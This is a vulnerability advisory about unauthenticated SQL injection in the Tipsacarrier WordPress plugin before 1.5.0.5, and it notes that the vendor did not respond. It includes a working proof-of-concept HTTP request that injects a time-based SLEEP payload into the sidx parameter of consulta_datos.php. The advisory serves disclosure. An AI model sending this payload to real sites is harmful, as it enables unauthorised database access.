Tipsacarrier < 1.5.0.5 – Unauthenticated SQLi

Description

The plugin does not sanitise and escape various parameters before using them in SQL statements, and is lacking authorisation checks in some calls as well, leading to SQL Injection issues

Vendor was notified on November 26th, 2021, did not reply nor fix the issue

Proof of Concept

Affected files: tipsacarrier/js/consulta_datos.php, tipsacarrier/js/consulta_datos_ori.php and probably others

POST /wp-content/plugins/tipsacarrier/js/consulta_datos.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Connection: close
Upgrade-Insecure-Requests: 1

page=1&rows=1&sidx=id_envio_order%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(5)))b)&sord=DESC&_search=true